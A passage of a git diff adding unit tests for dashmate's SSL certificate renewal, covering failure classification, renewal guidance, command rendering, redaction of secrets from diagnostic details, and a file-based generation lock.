crosses over. + config.set('platform.gateway.ssl.provider', 'letsencrypt'); + + const output = render({ + verdict: verdict({ provider: 'letsencrypt' }), + renewal: guidanceFor({ code: 'PORT_80_UNREACHABLE' }), + }); + + expect(output).to.not.contain('SHOULD-NOT-APPEAR'); + }); + }); }); diff --git a/packages/dashmate/test/unit/ssl/renderObtainCommand.spec.js b/packages/dashmate/test/unit/ssl/renderObtainCommand.spec.js new file mode 100644 index 00000000000..6bc51578930 --- /dev/null +++ b/packages/dashmate/test/unit/ssl/renderObtainCommand.spec.js @@ -0,0 +1,104 @@ +import fs from 'fs'; +import path from 'path'; +import { fileURLToPath } from 'url'; +import renderObtainCommand from '../../../src/ssl/renderObtainCommand.js'; +import { SAFE_ACTION, ISSUANCE_STATUS } from '../../../src/ssl/renewalGuidance.js'; + +const SRC = path.join(path.dirname(fileURLToPath(import.meta.url)), '..', '..', '..', 'src'); + +/** + * The surfaces that report on a certificate and have the renewal guidance to + * hand. Every one of them used to build the command itself and decide for + * itself whether printing it was safe. + */ +const GUIDED_SURFACES = [ + 'doctor/analyse/analyseGatewayCertificateFactory.js', + 'ssl/renderCertificateGuidance.js', + 'listr/tasks/update/gatewayCertificateTaskFactory.js', +]; + +describe('renderObtainCommand', () => { + // The reason this module exists. Three rounds of review found branches that + // printed a request the shared derivation had already withheld - a different + // branch each time - and fixing them one at a time did not converge. A branch + // that forgets to ask is now a failing test rather than a report an operator + // acts on. + it('should be the only way these surfaces can print a request', () => { + // Comments are prose about the command, not the command. Only what the + // file would actually print is the concern here. + const withoutComments = (source) => source + .split('\n') + .filter((line) => !/^\s*(\/\/|\*|\/\*)/.test(line)) + .join('\n'); + + const offenders = GUIDED_SURFACES.filter((file) => withoutComments( + fs.readFileSync(path.join(SRC, file), 'utf8'), + ).includes('ssl obtain')); + + expect(offenders, `build the command through renderObtainCommand instead: ${offenders}`) + .to.deep.equal([]); + }); + + it('should give the command when nothing forbids it', () => { + const rendered = renderObtainCommand({ + configName: 'mainnet', + guidance: { safeAction: SAFE_ACTION.OBTAIN, issuanceStatus: ISSUANCE_STATUS.NONE }, + }); + + expect(rendered).to.contain('dashmate ssl obtain --config mainnet'); + }); + + // Not a bare refusal: the operator is told what to do instead, because a + // problem that ends in nothing actionable is one they cannot act on. + [ + ['a spent issuance', ISSUANCE_STATUS.SPENT, 'could not be saved'], + ['an uncertain one', ISSUANCE_STATUS.UNCERTAIN, 'may already have been issued'], + ['no reason it can name', ISSUANCE_STATUS.NONE, 'Send a report'], + ].forEach(([name, issuanceStatus, expected]) => { + it(`should withhold it and say why for ${name}`, () => { + const rendered = renderObtainCommand({ + configName: 'mainnet', + guidance: { safeAction: SAFE_ACTION.DO_NOT_OBTAIN, issuanceStatus }, + }); + + expect(rendered).to.not.contain('ssl obtain'); + expect(rendered).to.contain(expected); + }); + }); + + it('should send a working node to the automatic attempt instead', () => { + const rendered = renderObtainCommand({ + configName: 'mainnet', + guidance: { + safeAction: SAFE_ACTION.WAIT_AFTER_LOCAL_FIX, + issuanceStatus: ISSUANCE_STATUS.NONE, + }, + }); + + expect(rendered).to.not.contain('ssl obtain'); + expect(rendered).to.contain('retries by itself'); + }); + + // The failure this missed once: a caller that forgot to pass the config + // rendered `--config undefined`, which an operator would paste verbatim and + // run against the wrong node - or none. + it('should never render a command without a config', () => { + [undefined, null, ''].forEach((configName) => { + expect(() => renderObtainCommand({ + configName, + guidance: { safeAction: SAFE_ACTION.OBTAIN, issuanceStatus: ISSUANCE_STATUS.NONE }, + })).to.throw('needs the config'); + }); + }); + + it('should carry the config into every command it prints', () => { + const rendered = renderObtainCommand({ + configName: 'testnet', + guidance: { safeAction: SAFE_ACTION.OBTAIN, issuanceStatus: ISSUANCE_STATUS.NONE }, + force: true, + }); + + expect(rendered).to.contain('--config testnet'); + expect(rendered).to.contain('--force'); + }); +}); diff --git a/packages/dashmate/test/unit/ssl/renewal-failure.spec.js b/packages/dashmate/test/unit/ssl/renewal-failure.spec.js new file mode 100644 index 00000000000..e3101b2340d --- /dev/null +++ b/packages/dashmate/test/unit/ssl/renewal-failure.spec.js @@ -0,0 +1,535 @@ +import { expect } from 'chai'; +import classifyRenewalFailure, { + describeRenewalFailure, + MAX_EXAMINED_CHARS, + RENEWAL_FAILURE_CODES, + REMEDY_CLASS, + sanitizeDetail, +} from '../../../src/ssl/renewal-failure.js'; +import LegoArtifactsMissingError from '../../../src/ssl/errors/LegoArtifactsMissingError.js'; +import ConfigurationLockLostError from '../../../src/ssl/errors/ConfigurationLockLostError.js'; +import VerificationServerUnreachableError from '../../../src/ssl/errors/VerificationServerUnreachableError.js'; +import ProviderUnreachableError from '../../../src/ssl/errors/ProviderUnreachableError.js'; +import CertificateFileMissingError from '../../../src/ssl/errors/CertificateFileMissingError.js'; +import ProviderCredentialsRejectedError from '../../../src/ssl/errors/ProviderCredentialsRejectedError.js'; +import LegoDidNotStartError from '../../../src/ssl/errors/LegoDidNotStartError.js'; +import LegoResultNotObservedError from '../../../src/ssl/errors/LegoResultNotObservedError.js'; + +/** + * What lego prints when Boulder could not reach the address at all. + */ +const LEGO_CONNECTION_FAILURE = `Failed to obtain Let's Encrypt certificate: Lego exited with code 1 +2026/08/25 10:00:00 [INFO] [1.2.3.4] acme: Obtaining bundled SAN certificate +2026/08/25 10:00:00 [INFO] [1.2.3.4] AuthURL: https://acme-v02.api.letsencrypt.org/acme/authz-v3/98765 +2026/08/25 10:00:05 [INFO] [1.2.3.4] acme: Trying to solve HTTP-01 +2026/08/25 10:00:20 Could not obtain certificates: +\terror: one or more domains had a problem: +[1.2.3.4] acme: error: 400 :: urn:ietf:params:acme:error:connection :: 1.2.3.4: Fetching http://1.2.3.4/.well-known/acme-challenge/abc: Timeout during connect (likely firewall problem)`; + +/** + * What it prints when Boulder reached the address and got the wrong answer. + */ +const LEGO_WRONG_RESPONDER = `Failed to obtain Let's Encrypt certificate: Lego exited with code 1 +[1.2.3.4] acme: error: 403 :: urn:ietf:params:acme:error:unauthorized :: 1.2.3.4: Invalid response from http://1.2.3.4/.well-known/acme-challenge/abc: 404`; + +const LEGO_RATE_LIMITED = `Failed to obtain Let's Encrypt certificate: Lego exited with code 1 +[1.2.3.4] acme: error: 429 :: urn:ietf:params:acme:error:rateLimited :: Error creating new order :: too many failed authorizations recently`; + +/** + * lego's output is only read for the provider that produces it, so every case + * that exercises a message has to say whose message it is. + */ +const fromLetsEncrypt = (error, options = {}) => classifyRenewalFailure( + error, + { ...options, provider: 'letsencrypt' }, +); + +describe('renewalFailure', () => { + describe('classifyRenewalFailure', () => { + describe("Let's Encrypt", () => { + it('should name an unreachable port 80 from the problem the authority returned', () => { + const { code } = fromLetsEncrypt(new Error(LEGO_CONNECTION_FAILURE)); + + expect(code).to.equal(RENEWAL_FAILURE_CODES.PORT_80_UNREACHABLE); + }); + + it('should tell a wrong responder apart from an unreachable port', () => { + // The distinction the guidance could not previously make. Both look + // like "port 80 is broken" from outside, but one is a closed port and + // the other is a web server answering in this node's place, and an + // operator sent to open an already-open port never finds the second. + const { code } = fromLetsEncrypt(new Error(LEGO_WRONG_RESPONDER)); + + expect(code).to.equal(RENEWAL_FAILURE_CODES.PORT_80_WRONG_RESPONDER); + }); + + it('should name a rate limit without letting it choose a different ending', () => { + const { code } = fromLetsEncrypt(new Error(LEGO_RATE_LIMITED)); + + expect(code).to.equal(RENEWAL_FAILURE_CODES.RATE_LIMITED); + // Named, but it takes the same ending as every other cause read from a + // message. A rate limit that withheld the verification would be an + // action chosen by text, and the same text can hide a closed port + // behind a nonce retry the client already survived. + expect(describeRenewalFailure(code).remedy).to.equal(REMEDY_CLASS.FIX_LOCALLY); + }); + + it('should still name a refusal when the problem type is unfamiliar', () => { + const { code, detail } = fromLetsEncrypt(new Error( + '[1.2.3.4] acme: error: 500 :: urn:ietf:params:acme:error:serverInternal :: try later', + )); + + expect(code).to.equal(RENEWAL_FAILURE_CODES.CERTIFICATE_CHECK_REFUSED); + // The type is kept so the reading is recoverable even though the + // classifier had nothing to do with it. + expect(detail).to.contain('serverInternal'); + }); + + // A rejected nonce is retried and survived - RFC 8555 requires the retry + // and authorities issue them routinely - so it turns up before the + // failure that actually ended the run. Reading it instead reports a + // refusal the operator can do nothing about, and hides a port they could + // have opened. Observed against a real ACME server, where it appeared in + // roughly half of otherwise identical failures. + it('should name what ended the run, not a problem that was recovered from', () => { + const { code, detail } = fromLetsEncrypt(new Error( + `Failed to obtain Let's Encrypt certificate: Lego exited with code 1 +2026/08/25 10:00:00 [INFO] [1.2.3.4] acme: Obtaining bundled SAN certificate +2026/08/25 10:00:01 acme: error: 400 :: urn:ietf:params:acme:error:badNonce :: JWS has an invalid anti-replay nonce +2026/08/25 10:00:02 [INFO] [1.2.3.4] acme: Trying to solve HTTP-01 +2026/08/25 10:00:20 Could not obtain certificates: +\terror: one or more domains had a problem: +[1.2.3.4] acme: error: 403 :: urn:ietf:params:acme:error:unauthorized :: 1.2.3.4: Invalid response from http://1.2.3.4/.well-known/acme-challenge/abc: 404`, + )); + + expect(code).to.equal(RENEWAL_FAILURE_CODES.PORT_80_WRONG_RESPONDER); + // The quoted evidence has to come from the same place as the verdict, + // or the record contradicts itself for whoever reads both. + expect(detail).to.contain('unauthorized'); + expect(detail).to.not.contain('badNonce'); + }); + + // The verdict is taken from the end of what is examined, and what is + // examined is capped - so the cap must not be able to sever the type it + // is about to read. A severed name matches no known type and falls + // through to a bare refusal, which is the misreading this whole branch + // exists to avoid. + it('should not read a problem type the length cap cut in half', () => { + const prefix = 'urn:ietf:params:acme:error:'; + const head = `Failed to obtain Let's Encrypt certificate: Lego exited with code 1 +[1.2.3.4] acme: error: 403 :: ${prefix}unauthorized :: 1.2.3.4: Invalid response +`; + const severed = `[1.2.3.4] acme: error: 400 :: ${prefix}connection :: never reached`; + + // Padded so the cap lands four characters into the final type name, + // leaving `conn` behind if nothing cuts back to the line break. + const padding = MAX_EXAMINED_CHARS - 4 - head.length + - (severed.indexOf(prefix) + prefix.length); + + const { code } = fromLetsEncrypt(new Error( + `${head}${'n'.repeat(padding - 1)}\n${severed}`, + )); + + expect(code).to.equal(RENEWAL_FAILURE_CODES.PORT_80_WRONG_RESPONDER); + }); + }); + + // Every cause read from a message resolves to one action. Stated as an + // invariant over the whole set rather than case by case: a per-case list is + // what hid a rate limit quietly choosing "wait" and an unfamiliar type + // quietly choosing "support", both of which stop an operator repairing a + // port they could have opened. + describe('what a message is allowed to decide', () => { + const MESSAGE_DERIVED = [ + ['an unreachable port', LEGO_CONNECTION_FAILURE], + ['a wrong responder', LEGO_WRONG_RESPONDER], + ['a rate limit', LEGO_RATE_LIMITED], + ['an unfamiliar problem type', '[1.2.3.4] acme: error: 500 ::' + + ' urn:ietf:params:acme:error:serverInternal :: try later'], + ]; + + it('should give every cause read from a message the same ending', () => { + const remedies = MESSAGE_DERIVED.map(([, message]) => describeRenewalFailure( + fromLetsEncrypt(new Error(message)).code, + ).remedy); + + expect(remedies).to.deep.equal(Array(MESSAGE_DERIVED.length).fill(REMEDY_CLASS.FIX_LOCALLY)); + }); + + MESSAGE_DERIVED.forEach(([name, message]) => { + it(`should not let ${name} reach a provider switch`, () => { + const { code } = fromLetsEncrypt(new Error(message)); + + expect(describeRenewalFailure(code).remedy) + .to.not.equal(REMEDY_CLASS.SWITCH_PROVIDER); + }); + }); + + // A recovered nonce arrives before the failure that ended the run, and a + // 429 the transport retried arrives before that. Neither is the cause. + it('should prefer a closed port over a rate limit when both appear', () => { + const { code } = fromLetsEncrypt(new Error(`${LEGO_RATE_LIMITED} +[1.2.3.4] acme: error: 403 :: urn:ietf:params:acme:error:unauthorized :: 404`)); + + expect(code).to.equal(RENEWAL_FAILURE_CODES.PORT_80_WRONG_RESPONDER); + }); + + // The reverse of the above: only the survived 429 stays inside the cap. + // The sentence is then wrong, and the ending still has to be right. + it('should keep the ending when only a survived rate limit is visible', () => { + const { code } = fromLetsEncrypt(new Error(LEGO_RATE_LIMITED)); + + expect(describeRenewalFailure(code).remedy).to.equal(REMEDY_CLASS.FIX_LOCALLY); + }); + + it('should not read another provider\'s message as an authority verdict', () => { + [undefined, 'zerossl', 'something-else'].forEach((provider) => { + const { code } = classifyRenewalFailure(new Error(LEGO_CONNECTION_FAILURE), { provider }); + + expect(code).to.equal(RENEWAL_FAILURE_CODES.UNKNOWN); + }); + }); + + // The free tier's three-certificate wall is the most common reason a + // mainnet certificate expires, and switching provider is the only thing + // that repairs it. Read as a rate limit it becomes "wait", and waiting + // never refills a spent allowance. + // The gate alone would make this pass for another provider, so it is + // asserted where the gate is open: a numeric code answers first because + // it is a fact the provider stated, and the message is text that may + // have come from somewhere else entirely. + it('should answer with the numeric code even where the message would be read', () => { + const error = new Error(LEGO_RATE_LIMITED); + error.code = 2817; + + const { code } = fromLetsEncrypt(error); + + expect(code).to.equal(RENEWAL_FAILURE_CODES.QUOTA_EXHAUSTED); + }); + + it('should let the provider code outrank ACME wording in the message', () => { + const error = new Error('quota reached, see urn:ietf:params:acme:error:rateLimited'); + error.code = 2817; + + const { code } = classifyRenewalFailure(error, { provider: 'zerossl' }); + + expect(code).to.equal(RENEWAL_FAILURE_CODES.QUOTA_EXHAUSTED); + expect(describeRenewalFailure(code).remedy).to.equal(REMEDY_CLASS.SWITCH_PROVIDER); + }); + }); + + // Each of these used to be recognised by searching the whole message for a + // phrase. The authority copies whatever answered on port 80 into its + // problem detail, so each phrase could arrive from the machine being + // diagnosed - and every one of them ends in advice to stop and wait. + describe('failures this repository raises', () => { + const CARRIED = [ + ['a lost configuration lock', () => new ConfigurationLockLostError('Lost the configuration lock'), + RENEWAL_FAILURE_CODES.RENEWAL_INTERRUPTED], + ['an unreachable provider', () => new ProviderUnreachableError('fetch failed'), + RENEWAL_FAILURE_CODES.PROVIDER_UNREACHABLE], + ['a missing certificate file', () => new CertificateFileMissingError('/home/op/bundle.crt'), + RENEWAL_FAILURE_CODES.CERTIFICATE_FILE_MISSING], + // A key that is absent, empty or malformed never reaches the provider, + // so there is no numeric code to classify it by. Untyped it fell + // through to "could not work out why", sending an operator to support + // for something one command repairs. + ['rejected credentials', () => new ProviderCredentialsRejectedError('Invalid ZeroSSL API key'), + RENEWAL_FAILURE_CODES.PROVIDER_AUTH], + ]; + + CARRIED.forEach(([name, build, expected]) => { + it(`should recognise ${name} by its type`, () => { + expect(classifyRenewalFailure(build()).code).to.equal(expected); + }); + }); + + it('should ignore those same words when a responder supplies them', () => { + [ + 'Lost the configuration lock', + 'Verification server is not responding', + 'fetch failed', + ].forEach((echoed) => { + const { code } = fromLetsEncrypt(new Error( + `[1.2.3.4] acme: error: 403 :: urn:ietf:params:acme:error:unauthorized ::` + + ` Invalid response: 200: "${echoed}"`, + )); + + expect(code).to.equal(RENEWAL_FAILURE_CODES.PORT_80_WRONG_RESPONDER); + }); + }); + + // The read that raises it also fails for a permission denial and for a + // corrupt file, and neither is repaired by asking for a certificate. + it('should not read a bare code property as a missing file', () => { + const error = new Error('ZeroSSL said something'); + error.code = 'ENOENT'; + + expect(classifyRenewalFailure(error, { provider: 'zerossl' }).code) + .to.equal(RENEWAL_FAILURE_CODES.UNKNOWN); + }); + }); + + describe('typed certificate helper failures', () => { + // These arrive as the cause because the obtain task replaces them with + // guidance written for a terminal. Without the cause none of them can be + // established at all, and the whole Let's Encrypt half of the vocabulary + // collapses into "could not work out why". + it('should name a spent issuance that never landed', () => { + const error = new Error('guidance text', { + cause: new LegoArtifactsMissingError('/home/op/.dashmate/mainnet/x.crt'), + }); + + const { code } = classifyRenewalFailure(error); + + expect(code).to.equal(RENEWAL_FAILURE_CODES.CERTIFICATE_ISSUED_NOT_SAVED); + expect(describeRenewalFailure(code).remedy).to.equal(REMEDY_CLASS.DO_NOT_RETRY); + }); + + it('should keep an unread result distinct from a spent issuance', () => { + // Conflating them would either invite an attempt that spends a second + // certificate, or forbid one when nothing was ever requested. + const error = new Error('guidance text', { + cause: new LegoResultNotObservedError(new Error('container vanished')), + }); + + expect(classifyRenewalFailure(error).code) + .to.equal(RENEWAL_FAILURE_CODES.RESULT_UNKNOWN); + }); + + it('should name an occupied port 80, not an unreachable one', () => { + // Opposite repairs: the port is reachable, it is taken. + const error = new Error('guidance text', { + cause: new LegoDidNotStartError( + new Error('driver failed programming external connectivity: Bind for 0.0.0.0:80 failed: port is already allocated'), + ), + }); + + expect(classifyRenewalFailure(error).code) + .to.equal(RENEWAL_FAILURE_CODES.PORT_80_IN_USE); + }); + + it('should report any other failure to start as local, not as the authority refusing', () => { + const error = new Error('guidance text', { + cause: new LegoDidNotStartError(new Error('Cannot connect to the Docker daemon')), + }); + + expect(classifyRenewalFailure(error).code) + .to.equal(RENEWAL_FAILURE_CODES.HELPER_DID_NOT_START); + }); + }); + + describe('ZeroSSL', () => { + it('should name the free-tier certificate limit', () => { + const error = Object.assign( + new Error('Limit of certificates on your ZeroSSL account was reached'), + { code: 2817, type: 'certificate_limit_reached' }, + ); + + const { code } = classifyRenewalFailure(error); + + expect(code).to.equal(RENEWAL_FAILURE_CODES.QUOTA_EXHAUSTED); + expect(describeRenewalFailure(code).remedy).to.equal(REMEDY_CLASS.SWITCH_PROVIDER); + }); + + it('should not call a plan restriction the three-certificate wall', () => { + // 2839 is "requires an upgrade from Free Plan to Basic Plan"; the wall + // is 2817. Reporting the wall for both tells an operator their free + // certificates are used up when they may not be. + const error = Object.assign( + new Error('ZeroSSL requires an upgrade from Free Plan to Basic Plan'), + { code: 2839 }, + ); + + const { code } = classifyRenewalFailure(error); + + expect(code).to.equal(RENEWAL_FAILURE_CODES.PROVIDER_PLAN_REQUIRED); + expect(describeRenewalFailure(code).sentence).to.not.contain('all three'); + }); + + it('should name a rejected account separately from a rejected request', () => { + const error = Object.assign(new Error('ZeroSSL API key is invalid'), { code: 101 }); + + expect(classifyRenewalFailure(error).code) + .to.equal(RENEWAL_FAILURE_CODES.PROVIDER_AUTH); + }); + + it('should not claim which reading applies when its own check cannot tell', () => { + // The server had already bound port 80 by then, so a local process + // holding it is ruled out - but the check answers the same way when + // nothing replied and when something replied with the wrong status, so + // a proxy looks exactly like a closed port. Asserting either would + // claim more than was observed. + const error = new VerificationServerUnreachableError( + 'Verification server is not responding.\nPlease ensure that port 80', + ); + + expect(classifyRenewalFailure(error).code) + .to.equal(RENEWAL_FAILURE_CODES.PORT_80_CHECK_FAILED); + }); + }); + + describe("dashmate's own failures", () => { + it('should recognise a lost configuration lock instead of sending the operator to support', () => { + const error = new ConfigurationLockLostError('Lost the configuration lock while renewing' + + ' the certificate, so the gateway service files were not written.'); + + expect(classifyRenewalFailure(error).code) + .to.equal(RENEWAL_FAILURE_CODES.RENEWAL_INTERRUPTED); + }); + }); + + describe('what it refuses to claim', () => { + it('should return unknown and omit the excerpt when nothing recognisable was said', () => { + // No line carried evidence, so there is nothing to quote. An arbitrary + // slice of dashmate's own guidance would read as the provider's answer. + const { code, detail } = classifyRenewalFailure(new Error('something went wrong')); + + expect(code).to.equal(RENEWAL_FAILURE_CODES.UNKNOWN); + expect(detail).to.equal(null); + }); + + it('should not throw on something that is not an error at all', () => { + expect(classifyRenewalFailure(undefined).code).to.equal(RENEWAL_FAILURE_CODES.UNKNOWN); + expect(classifyRenewalFailure('a string').code).to.equal(RENEWAL_FAILURE_CODES.UNKNOWN); + expect(classifyRenewalFailure({ message: 42 }).code).to.equal(RENEWAL_FAILURE_CODES.UNKNOWN); + }); + }); + + describe('what it writes down', () => { + it('should take the excerpt from the message and from nothing else', () => { + // ZeroSSL copies its whole response body onto the error, and a listr + // failure can carry the task context - which on that path holds the + // gateway's private key. Only the message may be read. + const error = Object.assign(new Error('Your domain is not valid'), { + code: 2808, + details: { '1.2.3.4': { error_info: 'SECRET-DETAIL' } }, + ctx: { privateKeyFile: '-----BEGIN PRIVATE KEY-----MIIE' }, + }); + + const { detail } = classifyRenewalFailure(error); + + expect(detail).to.equal('Your domain is not valid'); + expect(detail).to.not.contain('SECRET-DETAIL'); + expect(detail).to.not.contain('PRIVATE KEY'); + }); + + it('should collapse the home directory before shortening, so a cut cannot leave a fragment of it', () => { + // The reader's masking only matches the home directory where it ends, + // so a value shortened partway through the operator's name would match + // nothing and travel to whoever reads the report. + const homeDirPath = '/home/alicebrown/.dashmate'; + const error = new Error( + `[1.2.3.4] acme: error: 400 :: urn:ietf:params:acme:error:connection :: could not read ${homeDirPath}/mainnet/platform/gateway/ssl/bundle.crt while checking a very long path that keeps going`, + ); + + const { detail } = classifyRenewalFailure(error, { homeDirPath }); + + expect(detail).to.not.contain('alicebro'); + expect(detail).to.contain('~'); + }); + + it('should keep which authority answered but not which account asked', () => { + const { detail } = classifyRenewalFailure(new Error(LEGO_CONNECTION_FAILURE)); + + expect(detail).to.contain('urn:ietf:params:acme:error:connection'); + expect(detail).to.not.contain('/acme/authz-v3/98765'); + }); + + it('should drop a contact address', () => { + const { detail } = classifyRenewalFailure(new Error( + 'acme: error: 400 :: urn:ietf:params:acme:error:connection :: contact operator@example.com', + )); + + expect(detail).to.not.contain('operator@example.com'); + expect(detail).to.contain('[email]'); + }); + + it('should redact an API key the provider echoed back, whatever its own client missed', () => { + // The provider's client redacts before throwing, but by exact substring + // only - a key echoed back altered survives that pass. + const { detail } = classifyRenewalFailure( + Object.assign(new Error('rejected key SECRETKEY123 for this account'), { code: 2801 }), + { apiKey: 'SECRETKEY123' }, + ); + + expect(detail).to.not.contain('SECRETKEY123'); + expect(detail).to.contain('[REDACTED]'); + }); + + it('should not carry back whatever page answered on port 80', () => { + // The authority quotes what it fetched, and on the wrong-responder case + // that is arbitrary content from a machine exposed to the internet. + const { detail } = classifyRenewalFailure(new Error( + '[1.2.3.4] acme: error: 403 :: urn:ietf:params:acme:error:unauthorized :: ' + + 'Invalid response from http://1.2.3.4/.well-known/x: "session=SECRETCOOKIE"', + )); + + expect(detail).to.not.contain('SECRETCOOKIE'); + expect(detail).to.contain('unauthorized'); + }); + + it('should stay within its length bound and on one line', () => { + const { detail } = classifyRenewalFailure(new Error( + `acme: error: 400 :: urn:ietf:params:acme:error:connection :: ${'x'.repeat(5000)}`, + )); + + expect(detail.length).to.be.at.most(200); + expect(detail).to.not.contain('\n'); + }); + + it('should not spend unbounded time on one enormous line', () => { + const started = Date.now(); + + classifyRenewalFailure(new Error(`${'a'.repeat(10 * 1024 * 1024)} no urn here`)); + + expect(Date.now() - started).to.be.below(1000); + }); + }); + + describe('sanitizeDetail', () => { + it('should remove 8-bit control codes, which a terminal reads without an escape', () => { + // U+009B is a control sequence introducer in its own right on a + // terminal in 8-bit mode, so stripping only the 7-bit forms leaves the + // channel open. + const sanitized = sanitizeDetail(`before\u009B2Jafter\u0085`); + + expect(sanitized).to.not.contain('\u009B'); + expect(sanitized).to.not.contain('\u0085'); + }); + + it('should remove terminal control sequences, which a report can carry from a stranger', () => { + // `doctor --samples` renders an archive that arrived from someone else + // into the terminal of whoever is helping. An escape left intact there + // could rewrite what they see. + const withEscape = `before\u001B[2Jafter\u0007`; + + const sanitized = sanitizeDetail(withEscape); + + expect(sanitized).to.not.contain('\u001B'); + expect(sanitized).to.not.contain('\u0007'); + expect(sanitized).to.equal('before [2Jafter'); + }); + }); + }); + + describe('describeRenewalFailure', () => { + it('should give every code a sentence and a remedy, so a new one cannot inherit the wrong ending', () => { + Object.values(RENEWAL_FAILURE_CODES).forEach((code) => { + const { sentence, remedy } = describeRenewalFailure(code); + + expect(sentence, code).to.be.a('string').and.have.length.above(0); + expect(Object.values(REMEDY_CLASS), code).to.contain(remedy); + }); + }); + + it('should describe a code it does not know rather than printing the identifier', () => { + // A report can be collected by a newer dashmate than the one reading it. + // An identifier an operator cannot look up is worse than an admission. + const { sentence, remedy } = describeRenewalFailure('SOMETHING_ADDED_LATER'); + + expect(sentence).to.equal(describeRenewalFailure(RENEWAL_FAILURE_CODES.UNKNOWN).sentence); + expect(remedy).to.equal(REMEDY_CLASS.SUPPORT); + }); + }); +}); diff --git a/packages/dashmate/test/unit/ssl/renewalGuidance.spec.js b/packages/dashmate/test/unit/ssl/renewalGuidance.spec.js new file mode 100644 index 00000000000..f4682eba371 --- /dev/null +++ b/packages/dashmate/test/unit/ssl/renewalGuidance.spec.js @@ -0,0 +1,92 @@ +import { expect } from 'chai'; +import deriveRenewalGuidance, { ISSUANCE_STATUS, SAFE_ACTION } from '../../../src/ssl/renewalGuidance.js'; +import RenewalRecord from '../../../src/ssl/renewalRecord/RenewalRecord.js'; +import { RENEWAL_FAILURE_CODES } from '../../../src/ssl/renewal-failure.js'; + +/** + * @param {string} code + * @param {Object} [overrides] + * @return {RenewalRecord} + */ +function failed(code, overrides = {}) { + return RenewalRecord.fromObject({ + provider: 'letsencrypt', + outcome: 'failed', + code, + attemptedAt: new Date().toISOString(), + consecutiveFailures: 1, + ...overrides, + }); +} + +describe('deriveRenewalGuidance', () => { + it('should offer the check whether or not the certificate still works', () => { + // A repair has been described and the operator needs to know whether it + // took. There is nothing they can probe: port 80 has no listener outside a + // renewal. A failed check costs one of five hourly validations, which is + // not the allowance worth guarding - the weekly one is, and only an + // outstanding issuance or a spent provider quota can waste that. + const record = failed(RENEWAL_FAILURE_CODES.PORT_80_UNREACHABLE); + + expect(deriveRenewalGuidance({ record, isCertificateUsable: true }).safeAction) + .to.equal(SAFE_ACTION.OBTAIN_AFTER_LOCAL_FIX); + expect(deriveRenewalGuidance({ record, isCertificateUsable: false }).safeAction) + .to.equal(SAFE_ACTION.OBTAIN_AFTER_LOCAL_FIX); + }); + + // Stated over the whole set rather than case by case. A per-case list is what + // let a rate limit quietly choose "wait" and an unfamiliar problem type + // quietly choose "support", each of which stops an operator repairing a port + // they could have opened. + it('should give every cause read from a message the same action', () => { + const messageDerived = [ + RENEWAL_FAILURE_CODES.PORT_80_UNREACHABLE, + RENEWAL_FAILURE_CODES.PORT_80_WRONG_RESPONDER, + RENEWAL_FAILURE_CODES.RATE_LIMITED, + RENEWAL_FAILURE_CODES.CERTIFICATE_CHECK_REFUSED, + ]; + + [true, false].forEach((isCertificateUsable) => { + const actions = messageDerived.map((code) => deriveRenewalGuidance({ + record: failed(code), + isCertificateUsable, + }).safeAction); + + expect(actions).to.deep.equal( + Array(messageDerived.length).fill(SAFE_ACTION.OBTAIN_AFTER_LOCAL_FIX), + ); + }); + }); + + it('should let an outstanding issuance outrank a cause that could otherwise be repaired', () => { + const record = failed(RENEWAL_FAILURE_CODES.PORT_80_UNREACHABLE, { + issuanceSpentAt: new Date().toISOString(), + }); + + const guidance = deriveRenewalGuidance({ record, isCertificateUsable: false }); + + expect(guidance.safeAction).to.equal(SAFE_ACTION.DO_NOT_OBTAIN); + expect(guidance.issuanceStatus).to.equal(ISSUANCE_STATUS.SPENT); + }); + + it('should keep an unread result apart from a confirmed spend', () => { + const record = failed(RENEWAL_FAILURE_CODES.RESULT_UNKNOWN, { + issuanceUncertainAt: new Date().toISOString(), + }); + + expect(deriveRenewalGuidance({ record }).issuanceStatus) + .to.equal(ISSUANCE_STATUS.UNCERTAIN); + }); + + it('should refuse to spend anything on evidence it could not read', () => { + const guidance = deriveRenewalGuidance({ isRecordUnreadable: true }); + + expect(guidance.safeAction).to.equal(SAFE_ACTION.DO_NOT_OBTAIN); + expect(guidance.issuanceStatus).to.equal(ISSUANCE_STATUS.UNCERTAIN); + }); + + it('should carry the address prerequisite whatever the cause says', () => { + expect(deriveRenewalGuidance({ hasNoExternalIp: true }).prerequisites) + .to.contain('EXTERNAL_IP'); + }); +}); diff --git a/packages/dashmate/test/unit/ssl/renewalRecord/RenewalRecordRepository.spec.js b/packages/dashmate/test/unit/ssl/renewalRecord/RenewalRecordRepository.spec.js new file mode 100644 index 00000000000..be81fab7ad2 --- /dev/null +++ b/packages/dashmate/test/unit/ssl/renewalRecord/RenewalRecordRepository.spec.js @@ -0,0 +1,196 @@ +import fs from 'fs'; +import path from 'path'; +import RenewalRecordRepository from '../../../../src/ssl/renewalRecord/RenewalRecordRepository.js'; +import HomeDir from '../../../../src/config/HomeDir.js'; +import RenewalRecord from '../../../../src/ssl/renewalRecord/RenewalRecord.js'; + +describe('RenewalRecordRepository', () => { + let homeDir; + let repository; + + beforeEach(() => { + homeDir = HomeDir.createTemp(); + repository = new RenewalRecordRepository(homeDir); + }); + + afterEach(() => homeDir.remove()); + + /** + * @return {RenewalRecord} + */ + function record() { + return RenewalRecord.fromObject({ + provider: 'letsencrypt', + outcome: 'failed', + code: 'PORT_80_UNREACHABLE', + attemptedAt: new Date().toISOString(), + consecutiveFailures: 1, + }); + } + + /** + * @return {string} + */ + function lockPath() { + return path.join( + homeDir.joinPath('base', 'platform', 'gateway', 'ssl'), + '.renewal-generation.lock', + ); + } + + describe('the generation fence', () => { + it('should hand out increasing generations', () => { + expect(repository.claimGeneration('base')).to.equal(1); + expect(repository.claimGeneration('base')).to.equal(2); + }); + + // The fence is only a guard if nothing can claim between reading it and + // acting on it. Creating the file before taking the lock left exactly that + // gap on first use: two processes both find it absent, both write zero, and + // the one that loses claims a generation the other already took. + it('should not create the fence before it is held', () => { + const fencePath = path.join( + homeDir.joinPath('base', 'platform', 'gateway', 'ssl'), + '.renewal-generation', + ); + + let fenceExistedWhenLockTaken = null; + const realOpenSync = fs.openSync; + + fs.openSync = (file, ...rest) => { + if (String(file).endsWith('.lock') && fenceExistedWhenLockTaken === null) { + fenceExistedWhenLockTaken = fs.existsSync(fencePath); + } + + return realOpenSync(file, ...rest); + }; + + try { + repository.claimGeneration('base'); + } finally { + fs.openSync = realOpenSync; + } + + expect(fenceExistedWhenLockTaken, 'the lock was taken').to.not.be.null(); + expect(fenceExistedWhenLockTaken, 'the fence was created under the lock').to.be.false(); + expect(fs.existsSync(fencePath), 'and it does get 